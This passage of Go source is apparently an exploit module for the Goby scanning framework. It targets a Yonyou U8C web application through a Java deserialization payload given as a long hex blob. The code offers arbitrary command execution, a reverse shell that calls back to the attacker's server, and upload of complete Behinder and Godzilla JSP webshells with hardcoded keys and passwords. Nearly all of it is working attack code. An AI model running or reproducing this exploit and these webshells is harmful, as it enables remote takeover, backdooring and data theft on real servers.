42554f675974786741484c62594163426b4773446f494c635941427932324148415a434c3841424143514150734242674176414a41412b774561414141424267455041526f41414145614152774247674141414145416d67414141476f4147674141414b6b41435143714141344171774151414b304147514375414373417277412f414c45415667437a4147674174414238414c59416b414335414a6b4175674372414c734176774338414e454176514433414c34412b7744434150384177774544414c34424267432f4151674177414550414d4942457744444152634177414561414d494249414444414145417067436e414145416d514141415849414241414d4141414134684a58754142597467425a456c71324141796141416b536355366e41415953636b3634414759747467427a4f6753374148525a4b7879334148553642526b45746742704f67595a424c5941627a6f48475157324148593643426b45746742334f676b5a4262594165446f4b4751573241486d614147415a427259416570344145426b4b47516132414875324148796e2f2b345a423759416570344145426b4b47516532414875324148796e2f2b345a434c59416570344145426b4a47516932414875324148796e2f2b345a4372594166526b4a746742394641422b754143414751533241494658707741494f67756e2f35345a424c594163426b4674674343707741675472734158566d334146345367375941587932324149533241463853686259415837594159624153687241414167436e414b3041734141764141414176774443414338414151436141414141626741624141414130514151414e49414667445541426b4131674169414e63414c5144594145494132514251414e6f41574144624147414133414274414e344164514466414949413451434b414f49416c77446b414a774135514368414f59417077446f414b304136514377414f6f4173674472414c554137514336414f344176774478414d49413777444441504141337744794141454171414359414145416d51414141433041417741424141414145536f71744142414b7251415172594168375941694665784141414141514361414141414367414341414141397741514150674143514370414b6f414151435a4141414248414147414151414141437341557753696267414d6b3073456f6f457651416357514d5349564f324142307374674171424c3041486c6b444b6c4f3241422f4141437a414143784d707741455453764841454d53693767414d684b4d41373041484c594148514544765141657467416654537932414151536a5153394142785a4178496855375941485377457651416557514d7155375941483841414c4d41414c45796e4141524e4b3863414e424b4f75414179545377536a5153394142785a4178496855375941485534744c4c59414b6753394142355a41797054746741667741417377414173544b63414245307273414144414149414c514177414338414e514278414851414c774235414b594171514176414145416d674141414559414551414141514141416745434141674241774174415159414d414545414445424277413141516b415441454b4148454244514230415173416451455041486b424551422f415249416a774554414b594246674370415251417167455941414541717741414141494172413d3d223b0a636c7a203d20646566696e65436c617373286261736536344465636f6465546f4279746528636f646529293b636c7a2e6e6577496e7374616e636528293b7400046576616c7571007e001b0000000171007e0023737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878")
		postConfig.Data = string(payload)
		return httpclient.DoHttpRequest(hostInfo, postConfig)
	}

	checkFileExistDNQWOUWEH := func(hostInfo *httpclient.FixUrl, filename string) (*httpclient.HttpResponse, error) {
		getRequestConfig := httpclient.NewGetRequestConfig("/" + filename)
		getRequestConfig.FollowRedirect = false
		getRequestConfig.VerifyTls = false
		return httpclient.DoHttpRequest(hostInfo, getRequestConfig)
	}

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			checkString := goutils.RandomHexString(6)
			resp, _ := sendPayloadDZOWQEERUIEQOH(u, "echo "+checkString)
			return resp != nil && strings.Contains(resp.Utf8Html, checkString)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			attackType := ss.Params["attackType"].(string)
			webshell := ss.Params["webshell"].(string)
			if attackType == "cmd" {
				cmd := ss.Params["cmd"].(string)
				resp, err := sendPayloadDZOWQEERUIEQOH(expResult.HostInfo, cmd)
				if err != nil {
					expResult.Success = false
					expResult.Output = err.Error()
				} else if resp.StatusCode == 200 && len(resp.Utf8Html) > 0 {
					expResult.Success = true
					expResult.Output = resp.Utf8Html
				}
			} else if attackType == "reverse" {
				waitSessionCh := make(chan string)
				rp, err := godclient.WaitSession("reverse_java", waitSessionCh)
				if err != nil {
					expResult.Success = false
					expResult.Output = "无可用反弹端口"
					return expResult
				}
				cmd := fmt.Sprintf("#####%s:%s", godclient.GetGodServerHost(), rp)
				_, err = sendPayloadDZOWQEERUIEQOH(expResult.HostInfo, cmd)
				if err != nil {
					expResult.Success = false
					expResult.Output = err.Error()
					return expResult
				}
				select {
				case webConsoleID := <-waitSessionCh:
					if u, err := url.Parse(webConsoleID); err == nil {
						expResult.Success = true
						expResult.OutputType = "html"
						sid := strings.Join(u.Query()["id"], "")
						expResult.Output = `<br/><a href="goby://sessions/view?sid=` + sid + `&key=` + godclient.GetKey() + `">open shell</a>`
					}
				case <-time.After(time.Second * 20):
					expResult.Success = false
					expResult.Output = "漏洞利用失败"
				}
			} else if attackType == "webshell" {
				var content string
				filename := goutils.RandomHexString(6) + ".jsp"
				if webshell == "behinder" {
					/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
					content = `<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>`
				} else if webshell == "godzilla" {
					// 哥斯拉 pass key
					content = `<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>`
				} else {
					content = ss.Params["content"].(string)
					filename = goutils.B2S(ss.Params["filename"])
				}
				_, err := sendPayloadDZOWQEERUIEQOH(expResult.HostInfo, fmt.Sprintf("$$$$$./webapps/u8c_web/"+filename+":"+base64.StdEncoding.EncodeToString([]byte(content))))
				if err != nil {
					expResult.Success = false
					expResult.Output = err.Error()
					return expResult
				}
				resp, err := checkFileExistDNQWOUWEH(expResult.HostInfo, filename)
				if err != nil {
					expResult.Success = false
					expResult.Output = err.Error()
				} else if resp != nil && (resp.StatusCode == 200 || resp.StatusCode == 500) {
					expResult.Success = true
					expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + filename + "\n"
					if webshell == "behinder" {
						expResult.Output += "Password: rebeyond\n"
						expResult.Output += "WebShell tool: Behinder v3.0\n"
					} else if webshell == "godzilla" {
						expResult.Output += "Password: pass 加密器：JAVA_AES_BASE64\n"
						expResult.Output += "WebShell tool: Godzilla v4.1\n"
					}
					expResult.Output += "Webshell type: jsp"
				}
			} else {
				expResult.Success = false
				expResult.Output = `未知的利用方式`
			}
			return expResult
		},
	))
}
